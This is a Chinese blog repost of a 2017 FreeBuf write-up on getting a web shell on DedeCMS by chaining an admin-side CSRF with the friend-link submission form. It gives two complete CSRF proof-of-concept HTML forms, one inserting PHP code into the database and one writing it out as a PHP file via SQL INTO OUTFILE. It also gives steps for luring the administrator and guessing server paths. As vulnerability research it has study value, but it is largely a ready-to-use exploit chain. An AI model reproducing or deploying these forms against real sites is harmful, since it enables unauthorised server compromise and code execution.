?

Sep 22 2017

我是如何通過CSRF拿到Shell的

首頁 » 滲透測試 » 我是如何通過CSRF拿到Shell的   

*本文原創作者:sjy93812,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

織夢內容管理系統(DedeCms) 以簡單、實用、開源而聞名,是國內最知名的PHP開源網站管理系統,也是使用用戶最多的PHP類CMS系統,在經歷多年的發展,目前的版本無論在功能,還是在易用性方面,都有了長足的發展和進步,DedeCms免費版的主要目標用戶鎖定在個人站長,功能更專注于個人網站或中小型門戶的構建,當然也不乏有企業用戶和學校等在使用本系統。

最近我在搭建這個系統的時候偶然間發現了一個有趣的現象,織夢的后臺竟然有一個可以直接執行SQL語句的功能,出于職業敏感,能直接執行SQL語句的地方往往會有一些漏洞。又經過一番查找發現了它后臺存在一個CSRF的漏洞,一般情況下像這種漏洞都是不怎么能引起人們的關注的,畢竟是要通過交互才能起作用,而且起的作用還不大。以為到此就結束了嗎?并不是。

這里根本形不成一個有效的攻擊鏈,不過我又發現了一個很有意思的地方,這個cms是可以在前臺直接提交友鏈申請的,那么問題來了?你提交了友鏈申請管理員審核的時候怎么可能不去瀏覽一下你的網站。于是有了下面的一套getshell的流程。

受影響的版本<=官方最新版本(V57UTF8SP2)這是一個0day哦!!

實驗環境 :win10,wamp

1.首先我們構造一個向數據庫中插入SHELL語句的惡意頁面

(這里我多次清除cookie,多次關閉瀏覽器進行測試發現,該頁面的效果不受其他因素影響均可正常執行),這段代碼的作用就是像數據庫中插入我們的shell code。

頁面的代碼如下:

<html> <!-- CSRF PoC - generated by Burp Suite Professional -->   <body>   <form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">       <input type="hidden" name="dopost" value="query" />       <input type="hidden" name="querytype" value="2" />       <input type="hidden" name="sqlquery" value="INSERT&#32;INTO&#32;dede&#95;flink&#40;id&#44;sortrank&#44;url&#44;webname&#44;msg&#44;email&#44;logo&#44;dtime&#44;typeid&#44;ischeck&#41;VALUES&#40;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;www&#46;baidu&#46;com&apos;&#44;&apos;1&apos;&#44;&apos;&lt;&#63;php&#32;phpinfo&#40;&#41;&#59;&#63;&gt;&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#41;&#59;" />       <input type="hidden" name="imageField&#46;x" value="42" />       <input type="hidden" name="imageField&#46;y" value="17" />       <input type="submit" value="Submit request" />     </form> </body> </html>

2.此時我將該頁面放置在我自己的服務器上

這里就可以隨便放置一個地方,為了更加形象,你可以在頁面上做一些操作,比如加上JS代碼使得管理員訪問頁面的時候不會跳轉,這樣更神不知鬼不覺了。

1.jpg

 

3.然后我去受害網站上提交一個友鏈申請

將我自己網站上的惡意頁面鏈接填入。這個鏈接直接對應你構造好的惡意頁面。

2.jpg

 

4.然后提交,等待管理員審核

管理員審核友鏈時定會查看友鏈所鏈接的內容。(管理員既然可以看到該鏈接證明此時一定處于登陸狀態)

 

6.jpg

 

5.只要是管理員查看了我們申請友鏈的鏈接那么就觸發了惡意代碼的執行

此時我們可以看到數據庫中被插入了惡意代碼。這里的代碼可以自定義,根據你想做的操作自定義就可以了。這里我就是做實驗,就是用了<?php phpinfo() ?>

 

3.jpg

 

6.此時無論管理員通過或者是不通過,我們的代碼已經插入

此時我們構造生成shell的惡意頁面,頁面代碼如下,構造完成之后同樣放在我們自己的服務器上。(這里構造時,我們需要知道網站的路徑,這里知道相對路徑或者時絕對路徑都是可以的。路徑的獲取方式:一個網站的搭建大多數采用 phpstudy wamp 或者原生態的在PHP下的www目錄,這里很好猜測。或者直接請求一個網站上不存在的資源一般會爆出相對路徑,或者去訪問一篇文章分析路徑,再或者用AWVS直接拿到路徑,反正這里獲取路徑的方式特別多)

下面這段代碼的作用是把我們剛剛插入的shell code生成一個php頁面。

<html>   <!-- CSRF PoC - generated by Burp Suite Professional -->   <body>   < form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">       <input type="hidden" name="dopost" value="query" />       <input type="hidden" name="querytype" value="2" />       <input type="hidden" name="sqlquery" value="SELECT&#32;msg&#32;FROM&#32;dede&#95;flink&#32;WHERE&#32;url&#61;&quot;www&#46;baidu&#46;com&quot;&#32;INTO&#32;OUTFILE&#32;&quot;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;www&#47;dedecms&#47;21111&#46;php&quot;" />       <input type="hidden" name="imageField&#46;x" value="38" />       <input type="hidden" name="imageField&#46;y" value="15" />       <input type="submit" value="Submit request" />     </form>   </body></html>

 

4.jpg

 

 

7.此時我們如上步驟3所示,提交一個該頁面的友鏈申請

當管理員查看該頁面時觸發代碼的執行,在服務器端生成一個我們自定義名稱的shell。然后我們去訪問我們的SHELL。可以看到執行成功。

 

5.jpg

 

7.jpg

 

 

這就是在一次測試環境中找到的一個邏輯漏洞,有時候我們會經常發現一些微不足道的小漏洞之類的,單個的看起來是沒有什么作用但是多個微不足道的小漏洞結合起來往往會收到超出預期的效果。

*本文原創作者:sjy93812,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

 

 

 

 

 

 

 

 

 

 

 

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: 織夢漏洞

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «滲透筆記:如何通過SQL注入漏洞拿到系統的管理員權限 | 快訊 | 滲透神器Burp Suite被曝遠程代碼執行漏洞,官方回復稱證據不充分»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖